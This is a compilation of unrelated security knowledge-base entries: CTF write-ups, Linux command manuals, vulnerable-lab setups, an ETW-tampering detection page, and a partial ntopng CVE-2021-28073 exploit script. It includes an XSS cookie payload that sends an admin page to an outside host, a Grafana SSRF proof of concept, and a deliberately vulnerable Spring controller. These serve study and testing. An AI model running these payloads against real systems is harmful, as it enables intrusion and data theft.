000000f0 fa 21 03 ff f0 ff fb 01 ff fd 00 ff fe 22 ff fd |.!..........."..|
00000100 01 ff fb 00 ff fc 22 ff fa 22 03 03 e2 03 04 82 |......".."......|
00000110 0f 07 e2 1c 08 82 04 09 c2 1a 0a 82 7f 0b 82 15 |................|
00000120 0f 82 11 10 82 13 11 82 ff ff 12 82 ff ff ff f0 |................|
00000130 0d 0a 4c 69 6e 75 78 20 32 2e 36 2e 33 38 2d 38 |..Linux 2.6.38-8|
00000140 2d 67 65 6e 65 72 69 63 2d 70 61 65 20 28 3a 3a |-generic-pae (::|
00000150 66 66 66 66 3a 31 30 2e 31 2e 31 2e 32 29 20 28 |ffff:10.1.1.2) (|
00000160 70 74 73 2f 31 30 29 0d 0a 0a 01 00 77 77 77 62 |pts/10).....wwwb|
00000170 75 67 73 20 6c 6f 67 69 6e 3a 20 6c 00 6c 65 00 |ugs login: l.le.|
00000180 65 76 00 76 65 00 65 6c 00 6c 38 00 38 0d 01 00 |ev.ve.el.l8.8...|
00000190 0d 0a 50 61 73 73 77 6f 72 64 3a 20 62 61 63 6b |..Password: back|
000001a0 64 6f 6f 72 7f 7f 7f 30 30 52 6d 38 7f 61 74 65 |door...00Rm8.ate|
000001b0 0d 00 0d 0a 01 00 0d 0a 4c 6f 67 69 6e 20 69 6e |........Login in|
000001c0 63 6f 72 72 65 63 74 0d 0a 77 77 77 62 75 67 73 |correct..wwwbugs|
000001d0 20 6c 6f 67 69 6e 3a 20 | login: |
000001d8
```
* Password: backdOORmate
|
sec-knowleage
|
package org.vulhub.spring4shell.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.vulhub.spring4shell.model.Person;
@Controller
public class HelloController {
@GetMapping("/")
public String index(Person person, Model model)
{
// model.addAttribute("name", person.getName());
// model.addAttribute("age", person.getAge());
model.addAttribute("person", person);
return "hello";
}
}
|
sec-knowleage
|
mkfs
===
用于在设备上创建Linux文件系统
## 补充说明
**mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。
### 语法
```shell
mkfs(选项)(参数)
```
### 选项
```shell
fs:指定建立文件系统时的参数;
-t<文件系统类型>:指定要建立何种文件系统;
-v:显示版本信息与详细的使用方法;
-V:显示简要的使用方法;
-c:在制做档案系统前,检查该partition是否有坏轨。
```
### 参数
* 文件系统:指定要创建的文件系统对应的设备文件名;
* 块数:指定文件系统的磁盘块数。
### 实例
在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来:
```shell
mkfs -V -t msdos -c /dev/hda5
mkfs -t ext3 /dev/sda6 //将sda6分区格式化为ext3格式
mkfs -t ext2 /dev/sda7 //将sda7分区格式化为ext2格式
```
|
sec-knowleage
|
# Danger, Will Robinson! (3/5)
Category: Innovation
## Description
> Ugh, while drinking your victory coffee after you found an alien message, some coffee spilled on one piece of the spaceship's equipment! We cannot return back home with this mess!
>
> "This spaceship was very expensive to build, so we **focus** only on our equipment, even before the personals." - a voice from the radio is heard.
>
> You can hear 50*50 annoying beeps from the equipement - PPPPPP, PPPPPP, along with some white noises from space...
>
> Notes:
>
> * Write your code in Python 3.8, standard libraries are available, but outbound connections are blocked.
> * A call to input() will return a string which value is the base64 representation of the attached picture (uhoh.txt's data is the return value of the input() function in your code)
> * Use print() to emit the expected output, the STDOUT is checked eventually. encode it in base64.
> * If you cannot solve it in this platform - use "Unlock hint for 200 points" for instructions about your original code (This will deduct 200 points from your total score).
> * Logicless solutions will not be scored for this specific challenge (Full 350 deduction)
>
> example:
>
> ```def main():
> input_data_in_base64 = input()
> // your logic here
> // ...
> base64_solution = ...
> print(base64_solution)
>
> main()
> ```
A `*.ppm` and a text file were attached.
## Solution
We receive an image in PPM format:

It looks like the coffee spilled on the spaceship controls. It's pretty clear what we need to do here - we need to write some Python code that erases the coffee.
A PPM file is a format used by the [Netpbm project](https://en.wikipedia.org/wiki/Netpbm), one of several formats designed to be easily exchanged between platforms. The format is pretty simple:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/Danger_Will_Robinson]
└─$ xxd -g 1 uhoh.ppm | head -n 3
00000000: 50 36 0a 36 30 20 38 30 0a 32 35 35 0a ff ff ff P6.60 80.255....
00000010: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
```
It starts with a magic number representing the file type (in this case: `P6`, representing Binary Portable PixMap). Then come the width and height (`60` and `80`). After that comes the max value a pixel can have (`255` here), and a list of RGB values (as triplets).
In order to erase the coffee from the boxes, we need to identify where the boxes start and end. This is obviously very simple for a human eye, but how do we programmatically achieve this with a simple CTF-level script using just standard libraries?
Well, given the image we are provided with, we can take note of the following:
1. There are no boxes which touch the border.
2. The coffee never covers both the top and the bottom corner of the same "side" (right or left).
It possible to solve this even without these assumptions, but having them makes life a bit easier. Our strategy is to search for the side that has two full corners, calculate the height of the box, then repeatedly color the columns black in the correct direction until reaching past the end of the box (which is defined as a column where we have at least one white pixel). The first assumption about no boxes touching the corners simply allows us to skip some corner cases (pardon the pun). Don't try this at home, always handle corner cases in production!
Here's the code:
```python
# Mock input() to match the challenge description
def input():
with open("uhoh.txt") as f:
return f.read()
## ----------------------------------------------
import base64
# Basic Assumption: No box touches edges
class PPMImage():
WHITE = '_'
BLACK = '#'
BROWN = '@'
COLOR_MAPPING = {
b'\xff\xff\xff': WHITE,
b'\x00\x00\x00': BLACK,
b'\x99\x66\x33': BROWN
}
def __init__(self, ppm_input):
encoding, width, height, maxval, values = ppm_input.split(maxsplit = 4)
assert(encoding == b'P6')
self.width = int(width.decode("ascii"))
self.height = int(height.decode("ascii"))
self.arr = [[None for w in range(self.width)] for h in range(self.height)]
# Convert the PPM format to an internal 2D array representation
for h in range(self.height):
for w in range(self.width):
offset = (self.width * h + w) * 3
self.arr[h][w] = self.COLOR_MAPPING[values[offset:offset+3]]
def __str__(self):
res = ""
for h in range(self.height):
for w in range(self.width):
res += self.arr[h][w]
res += "\n"
return res
def to_ppm(self, top_h, left_w, bottom_h, right_w):
"""Convert the internal representation of the given bounding box back to PPM format."""
reverse_color_mapping = {v:k for (k, v) in self.COLOR_MAPPING.items()}
res = bytearray()
height = bottom_h - top_h + 1
width = right_w - left_w + 1
res += "P6\n{} {}\n255\n".format(width, height).encode("ascii")
for h in range(height):
for w in range(width):
res += reverse_color_mapping[self.arr[top_h+h][left_w+w]]
return res
TOP_LEFT_CORNER = 1
TOP_RIGHT_CORNER = -1
NOT_A_CORNER = 0
def check_top_corner(img, h, w):
"""Check if the given coordinates belong to a corner."""
if not img.arr[h][w] == img.BLACK:
return False
try:
# This is a top corner if it's color is black, the pixel over it is white
# and the pixel to the left/right is white
if img.arr[h - 1][w] == img.WHITE and img.arr[h][w - 1] == img.WHITE:
return TOP_LEFT_CORNER
if img.arr[h - 1][w] == img.WHITE and img.arr[h][w + 1] == img.WHITE:
return TOP_RIGHT_CORNER
return NOT_A_CORNER
except IndexError:
return NOT_A_CORNER
def get_box_height(img, top_corner_h, top_corner_w):
"""Get the box height for the box starting at the given top coordinates."""
# Count the black pixels by moving down until reaching a white pixel.
# Assumption: Every box has at least one corner where this is possible
box_height = 0
h = top_corner_h
while img.arr[h][top_corner_w] == img.BLACK:
box_height += 1
h += 1
if img.arr[h][top_corner_w] == img.WHITE:
return box_height
raise Exception("Can't find box height!")
def column_has_white(img, initial_h, initial_w, box_height):
"""Check if the column starting at the given coordinates and of the given hight has a white pixel."""
for h_offset in range(box_height):
if img.arr[initial_h + h_offset][initial_w] == img.WHITE:
return True
return False
def fill_column(img, initial_h, initial_w, box_height):
"""Fill the given column black"""
for h_offset in range(box_height):
img.arr[initial_h + h_offset][initial_w] = img.BLACK
def fill_box(img, top_corner_h, top_corner_w, box_height, direction):
"""Fill the box starting at the given top corner based on the given direction. Return the width."""
w = top_corner_w
filled_columns = 0
# We continue filling the box until we find a white pixel in the column, indicating this isn't
# part of the box anymore
while not column_has_white(img, top_corner_h, w, box_height):
fill_column(img, top_corner_h, w, box_height)
w += direction
filled_columns += 1
return filled_columns
def erase_coffee(img):
# These coordinates are used to identify the bounding box containing all boxes (without the cup)
top_h = None
bottom_h = None
left_w = None
right_w = None
directions = {
TOP_LEFT_CORNER: 1,
TOP_RIGHT_CORNER: -1,
NOT_A_CORNER: 0
}
for h in range(img.height):
for w in range(img.width):
corner_type = check_top_corner(img, h, w)
if corner_type == NOT_A_CORNER:
continue
try:
box_height = get_box_height(img, h, w)
except Exception:
continue
filled_columns = fill_box(img, h, w, box_height, directions[corner_type])
# Update bounding box dimensions:
if box_height > 2 and filled_columns > 2:
if top_h is None:
top_h = h
if bottom_h is None or h + box_height - 1 > bottom_h:
bottom_h = h + box_height - 1
if left_w is None or w < left_w:
left_w = w
if right_w is None or w > right_w:
right_w = w
# erase the rest of the coffee
for h in range(img.height):
for w in range(img.width):
if img.arr[h][w] == img.BROWN:
img.arr[h][w] = img.WHITE
# Return the bounding box
return (top_h, left_w, bottom_h, right_w)
def main():
input_data_in_base64 = input()
input_data = base64.b64decode(input_data_in_base64)
img = PPMImage(input_data)
bounding_box = erase_coffee(img)
ppm = img.to_ppm(*bounding_box)
#with open("out_test.ppm", "wb") as out:
# out.write(ppm)
print(base64.b64encode(ppm).decode("ascii"), end="")
main()
```
There's one more point in the code that wasn't mentioned earlier: The code crops out the bounding box containing the spaceship controls and submits that as the answer. This is done since:
1. The original size wasn't accepted by the server
2. The description talks about **focus**ing on the equipment
3. The description mentions 50*50 beeps, and the bounding box is 50x50
|
sec-knowleage
|
groupdel
===
用于删除指定的工作组
## 补充说明
**groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。
### 语法
```shell
groupdel(参数)
```
### 参数
组:要删除的工作组名。
### 实例
```shell
groupadd damon //创建damon工作组
groupdel damon //删除这个工作组
```
|
sec-knowleage
|
# Grafana管理后台SSRF
Grafana是一个开源的度量分析与可视化套件。在其管理后台中存在一个功能,攻击者可以用于向任意地址发送HTTP请求,且支持自定义HTTP Header。
参考链接:
- <https://github.com/RandomRobbieBF/grafana-ssrf>
## 漏洞环境
执行如下命令启动一个Grafana 8.5.4:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:3000`即可查看到管理后台。这个管理后台是不需要登录的,因为Vulhub环境设置了匿名用户的权限:
```ini
[auth.anonymous]
enabled = true
org_role = Admin
```
在真实场景中,如果你没有权限访问管理界面,可以尝试使用默认账号密码`admin`和`admin`,只能能够成功登录后台的用户才能利用这个漏洞。
## 漏洞复现
使用[这个POC](https://github.com/RandomRobbieBF/grafana-ssrf)来复现SSRF漏洞:
```
python grafana-ssrf.py -H http://your-ip:3000 -u http://example.interact.sh/attack
```

可见,我们的反连平台已成功收到了HTTP请求:

|
sec-knowleage
|
# 安卓5版本抓包
> 支持微信小程序抓包
## 安装
下载夜神模拟器,**多开器选择安卓5**

## 配置
### 配置代理
模拟器配置代理

burp开启监听

### 下载证书
访问http://burp,下载证书

在文件管理器找到证书,并且将它后缀改成`.cer`

点击设置-》安全-》从SD卡安装-》导入证书

## 抓包
登录微信,随便访问一个小程序就可以进行抓包

|
sec-knowleage
|
# Java Script Kiddie 2
Web Exploitation, 450 points
## Description:
> The image link appears broken... twice as badly...
## Solution:
This is the follow-up for [Java Script Kiddie](Java_Script_Kiddie.md).
The website source:
```html
<html>
<head>
<script src="jquery-3.3.1.min.js"></script>
<script>
var bytes = [];
$.get("bytes", function(resp) {
bytes = Array.from(resp.split(" "), x => Number(x));
});
function assemble_png(u_in){
var LEN = 16;
var key = "00000000000000000000000000000000";
var shifter;
if(u_in.length == key.length){
key = u_in;
}
var result = [];
for(var i = 0; i < LEN; i++){
shifter = Number(key.slice((i*2),(i*2)+1));
for(var j = 0; j < (bytes.length / LEN); j ++){
result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
}
}
while(result[result.length-1] == 0){
result = result.slice(0,result.length-1);
}
document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
return false;
}
</script>
</head>
<body>
<center>
<form action="#" onsubmit="assemble_png(document.getElementById('user_in').value)">
<input type="text" id="user_in">
<input type="submit" value="Submit">
</form>
<img id="Area" src=""/>
</center>
</body>
</html>
```
We can see one main changes from last time: The key length is still 16 but the key itself has 32 characters. It looks like every second character is just a filler (`shifter = Number(key.slice((i*2),(i*2)+1))`) so this shouldn't matter much.
Our bytes array this time is:
```
78 126 175 206 13 83 94 147 206 120 69 141 0 81 146 131 137 72 175 71 0 54 30 32 157 13 227 0 73 31 47 15 0 58 14 196 141 215 63 54 222 0 0 0 0 147 155 75 164 32 174 86 198 254 73 15 116 0 0 13 155 222 250 205 48 243 78 66 48 76 57 0 0 0 0 0 204 0 156 69 51 198 1 71 140 130 20 10 0 120 0 237 166 0 97 0 234 63 0 114 215 10 239 114 1 3 156 81 178 72 248 82 20 68 68 2 10 0 168 65 84 138 244 216 222 192 73 108 255 80 20 35 101 73 0 65 170 91 89 20 129 75 0 164 27 0 208 14 146 72 26 150 4 227 132 55 129 205 68 117 156 0 19 12 1 18 1 136 207 64 141 51 124 235 95 173 61 16 103 225 154 50 68 192 120 0 182 32 235 157 142 52 190 124 49 142 232 183 44 176 3 99 126 202 181 120 74 141 229 214 56 126 169 100 94 146 70 72 252 91 222 88 211 117 254 190 116 73 241 222 23 159 214 232 86 184 154 88 206 61 220 140 120 105 60 238 112 78 239 129 156 201 7 204 227 84 253 234 253 38 114 248 11 204 84 188 249 240 47 49 190 29 155 0 124 85 155 43 75 177 5 33 73 84 127 30 65 215 73 156 87 35 242 106 249 87 34 77 141 241 64 221 35 55 255 122 77 191 0 79 113 30 191 55 191 198 0 210 126 169 31 31 185 64 148 31 1 16 239 233 253 86 228 250 227 22 52 107 146 145 109 233 1 68 191 8 58 129 210 66 233 129 35 237 147 234 205 98 119 0 228 55 250 69 233 133 55 23 61 80 74 95 74 9 71 1 205 212 254 19 229 104 161 219 30 132 1 136 99 43 105 189 233 201 55 17 169 226 247 130 90 4 40 205 116 111 189 0 156 116 228 100 22 121 103 128 147 30 159 107 150 202 236 173 186 0 170 204 227 197 103 231 230 231 79 253 120 182 55 119 227 103 59 176 127 34 105 252 245 58 54 94 24 123 176 172 10 222 34 126 253 161 23 254 165 242 1 212 158 87 29 124 104 9 169 237 106 18 230 196 250 40 74 126 227 252 49 190 9 36 141 121 118 16 201 101 114 154 41 173 211 98 33 114 79 221 141 60 185 63 107 219 228 236 252 111 243 203 230 245 141 42 228 43 94 15 13 47 82 52 193 61 61 189 202 166 230 103 245 34 172 5 235 114 82 80 165 121 114 95 247 57 151 214 106 200 38 111 139 183 123 141 119 30 87 135 232 239 6 255 78 167 248 0 202 218 148 195 157 123 206 215 36 139 40 101 200 235 154 242 224 140 140 213 210 6 225 111 242 252 83 109 119 199 39 222 140 57 118 183 246 252 127 247 10 26 7 159 163 73 102 170 16 60 255 155 186 55 196 42 226 159 43 139 151 91 82 132 184 165 135 44 153 94 74 167 252 34 215 90 36 61 23 31 23 189 165 165 242 95 233 242 96 82 17 68 64 187 239 221 212 122 36 133 143 127 211 79 159 1 93 166 120 248 75 4 214 8 61 247 185 241 1 121 161 158 159 141 223 235 55 190 225 189 249 95 153 42 96 199 60 165 247 148 67 172 0 128 150 224
```
After applying minor modifications to the script from the previous challenge, we get:
```python
from PIL import Image
import itertools, io, os
KEY_LEN = 16
def create_png(bytes_arr, key, out_dir_path):
if not os.path.isdir(out_dir_path):
raise Exception("Output folder ('{}') does not exist!".format(out_dir_path))
result = [0] * len(bytes_arr)
for i in range(KEY_LEN):
shifter = int(key[i*2:i*2+1])
for j in range(len(bytes_arr) // KEY_LEN):
result[(j * KEY_LEN) + i] = bytes_arr[(((j + shifter) * KEY_LEN) % len(bytes_arr)) + i]
img_bytes = io.BytesIO(bytes(result))
try:
img = Image.open(img_bytes)
img.save(os.path.join(out_dir_path, "{}.png".format(key)))
print ("Key {} produces a valid PNG - Saving".format(key))
except IOError:
print ("Key {} produces an invalid PNG - Ignoring".format(key))
shifters = []
for i in range(KEY_LEN):
shifters.append([])
expected = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52]
with open("bytes.txt") as f:
bytes_arr = list(map(int, f.read().split(" ")))
for i in range(KEY_LEN):
for shifter in range(10):
j = 0
offset = (((j + shifter) * KEY_LEN) % len(bytes_arr)) + i
if bytes_arr[offset] == expected[i]:
shifters[i].append(shifter)
print (shifters)
for p in itertools.product(*shifters):
key = "".join("{}a".format(n) for n in p)
create_png(bytes_arr, key, "out")
```
We use '`a`' as the filler value for the key.
Running the script, we get:
```console
root@kali:/media/sf_CTFs/pico/Java_Script_Kiddie_2# python3 solve.py
[[1], [8], [4], [1, 5], [0], [6], [9], [5], [4, 5], [2, 3, 4], [2, 3, 4, 5], [3], [1], [6], [9], [6]]
Key 1a8a4a1a0a6a9a5a4a2a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a2a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a2a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a2a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a3a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a3a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a3a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a3a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a4a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a4a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a4a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a4a4a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a2a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a2a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a2a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a2a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a3a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a3a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a3a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a3a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a4a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a4a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a4a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a1a0a6a9a5a5a4a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a2a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a2a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a2a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a2a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a3a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a3a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a3a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a3a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a4a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a4a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a4a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a4a4a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a2a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a2a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a2a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a2a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a3a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a3a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a3a4a3a1a6a9a6a produces a valid PNG - Saving
Key 1a8a4a5a0a6a9a5a5a3a5a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a4a2a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a4a3a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a4a4a3a1a6a9a6a produces an invalid PNG - Ignoring
Key 1a8a4a5a0a6a9a5a5a4a5a3a1a6a9a6a produces an invalid PNG - Ignoring
```
The key that produced a valid image is `1a8a4a5a0a6a9a5a5a3a4a3a1a6a9a6a`:

Which translated to:
```console
root@kali:/media/sf_CTFs/pico/Java_Script_Kiddie_2# zbarimg out/1a8a4a5a0a6a9a5a5a3a4a3a1a6a9a6a.png
QR-Code:picoCTF{e1f443bfe40e958050e0d74aec4daa48}
scanned 1 barcode symbols from 1 images in 0.05 seconds
```
|
sec-knowleage
|
# Artisinal Shoutboxes (cloud, 200pts)
* We could upload message with an author to a subdomain.
* Admin viewed each sent message
* There were 2 xss
* One was in the author field, it was limited to 10 chars but that was only enforced on user side
* Second was on `admin.combined.space`, cookie was being printed in a comment
* Use first xss to setup second xss(using a cookie) and redirect the admin to `admin.combined.space`
* Set the cookie prefix to `-->` to bypass the comment and then send the whole document to yourself on a different server.
* Final cookie: `trolled=--><script>window.location='http://nazywam.host/'+document.documentElement.innerHTML</script><!--;domain=.combined.space;path=/`
|
sec-knowleage
|
# Run Run Run!, reverse, 315p
> just run it and get the flag
We get a .prg file. It's not immediately obvious what kind of file it is (`file` and `binwalk` find no magic), but searching for some strings
from the binary we find out it's a Connect IQ program file for smart watches and similar devices. As it turns out, the file contains no
executable native code, no source and no well-known bytecode like Java's. Instead, it uses a custom VM (kind of similar to Java's).
[CIQDB](https://github.com/pzl/ciqdb) parsed the file, from which I used the symbols, which was useful for reversing. I also
decompiled CIQ SDK official .jars to find bits of information about VM opcodes. Eventually, this allowed me to write a disassembler in Python
and reverse engineer the code.
The program was decrypting the flag, using increasing amounts of iterations for each flag character, making the delay too long after a few characters.
The decryption used a keystream made of insecure random number generator, which was simple to fast forward using fast matrix exponentiation.
|
sec-knowleage
|
cluster.name: "docker-cluster"
network.host: 0.0.0.0
http.port: 9200
transport.host: localhost
transport.tcp.port: 9300
|
sec-knowleage
|
# Data Related Sections
## .BSS Section
未初始化的全局变量对应的节。此节区不占用 ELF 文件空间,但占用程序的内存映像中的空间。当程序开始执行时,系统将把这些数据初始化为 0。bss其实是block started by symbol 的简写。
## .data Section
这些节区包含初始化了的数据,会在程序的内存映像中出现。
## .rodata Section
这些节区包含只读数据,这些数据通常参与进程映像的不可写段。
|
sec-knowleage
|
from pwn import *
import hexdump
import string
import os
import json
#data = string.letters[:51] * 100000
data = os.urandom(100000)
data = "a" * 15 + data[15:]
data = data[:25 * 3]
def take(s, n):
return s[:n], s[n:]
def takedd(s):
x, s = take(s, 4)
return struct.unpack("<I", x)[0], s
def recurse(s):
b, s = take(s, 1)
b = ord(b)
print hex(b)
r = []
if b == 0xf:
for i in range(4):
rx, s = recurse(s)
r.append(rx)
elif b == 0:
col, s = take(s, 3)
col = [ord(c) for c in col]
return col, s
else:
col, s = take(s, 3)
col = [ord(c) for c in col]
for i in range(4):
if b & (1<<i):
rx, s = recurse(s)
r.append(rx)
else:
r.append(col)
return r, s
def drawx(im, r, depth, x, y):
sz = im.size[0] / 2**depth
if len(r) == 3:
for xx in range(x, x + sz):
for yy in range(y, y + sz):
im.putpixel((xx, yy), tuple(r))
else:
drawx(im, r[0], depth + 1, x, y)
drawx(im, r[1], depth + 1, x+sz/2, y)
drawx(im, r[2], depth + 1, x, y+sz/2)
drawx(im, r[3], depth + 1, x+sz/2, y+sz/2)
def draw(w, h, r):
sz = 1
while sz < w or sz < h:
sz *= 2
im = Image.new("RGB", (sz, sz))
drawx(im, r, 0, 0, 0)
im.save("lol.png")
from PIL import Image, ImageDraw
def parse(s):
magic, s = take(s, 4)
w, s = takedd(s)
h, s = takedd(s)
print magic
print w
print h
hexdump.hexdump(s[:300])
r, s = recurse(s)
print repr(s)
print json.dumps(r, indent = 4)
draw(w, h, r)
s = open("flag.ctf", "rb").read()
parse(s)
|
sec-knowleage
|
# T1562-006-windows-停止日志采集
## 来自ATT&CK的描述
攻击者可能试图阻止通常由传感器(可理解为windows日志审核策略)捕获的指标(可理解为告警)或事件被收集和分析。这可能包括恶意篡改或通过篡改控制事件遥测收集和流程的设置来禁用基于主机的传感器,例如Windows事件跟踪(ETW)。 这些设置可以存储在系统中的配置文件中或注册表中,也可以通过管理实用程序(例如PowerShell或Windows Management Instrumentation)进行访问。
可以通过多种方式实现ETW中断,但是最直接的方法是使用PowerShell Set-EtwTraceProvider cmdlet定义条件,或者直接对注册表进行更改。
在基于网络的指标报告中,攻击者可能会阻止与报告相关的流量,以防止进行集中分析。这可以通过多种方式来完成,例如停止负责转发数据的本地进程或创建基于主机的防火墙规则以阻止流量流向负责汇总事件的特定主机,例如安全信息和事件管理(SIEM)产品。
注释:ETW是Event Tracing for Windows的简称,它是Windows提供的原生的事件跟踪日志系统。由于采用内核(Kernel)层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案。
## 测试案例
暂无测试案例,可参考其他案例,关停日志转发或更改日志采集策略
## 检测日志
windows sysmon
## 测试复现
暂无测试案例,可参考其他案例,关停日志转发或更改日志采集策略
## 测试留痕
windows sysmon
## 检测规则/思路
### splunk规则
从主机日志转发器检测到缺少告警或者日志的活动。不同的阻止方法可能会导致抓发中断。系统可能突然停止报告所有数据或仅报告某些种类的数据。
根据收集到的主机信息的类型,分析人员可能能够检测到触发了进程停止或连接被阻止的事件。例如,Sysmon将在其配置状态已更改(事件ID 16)时进行记录,并且Windows Management Instrumentation(WMI)可以用于订阅ETW提供程序,该程序记录从特定跟踪会话中删除的任何提供程序。要检测ETW中的更改,您还可以监视包含所有ETW事件提供程序配置的注册表项:HKLM\SYSTEM\CurrentControlSet\Control\WMI\ Autologger\AUTOLOGGER_NAME {{PROVIDER_GUID}}
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=16) OR (EventCode IN (12,13) TargetObject=“HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger*”) OR (EventCode=1 Image=”*\\logman.exe” CommandLine=”*update trace*”) OR (EventCode=1 Image=”*\\wpr”)//tampering Event Tracing in windows
```
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\logman.exe” CommandLine=”*query*”) OR (EventCode IN (12,13) TargetObject="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Publishers*”) // enumirating the ETW in windows with logman,exe
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1562-006
<https://attack.mitre.org/techniques/T1562/006/>
如何利用ETW(Event Tracing for Windows)记录日志
<https://www.cnblogs.com/artech/p/logging-via-etw.html>
|
sec-knowleage
|
import sys
import requests
import argparse
import logging
def is_ntopng() -> bool:
response = session.get(base_url, allow_redirects=False)
return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')
def get_base_length() -> int:
for i in range(90, 120):
url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'
response = session.get(url, allow_redirects=False)
if response.status_code < 300:
return 255 - 1 - i * 2 - len('as_stats.lua')
for i in range(90, 120):
url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'
response = session.get(url, allow_redirects=False)
if response.status_code < 300:
return 255 - 1 - i * 2 - len('get_macs_data.lua')
return -1
def get_padding_length(path: str):
padding_length = 255 - 1 - base_length - len(path)
if padding_length % 2 == 1:
raise RuntimeError(f'path {path} is not support')
return int(padding_length / 2)
logging.basicConfig(stream=sys.stderr, level=logging.WARNING)
session = requests.Session()
session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')
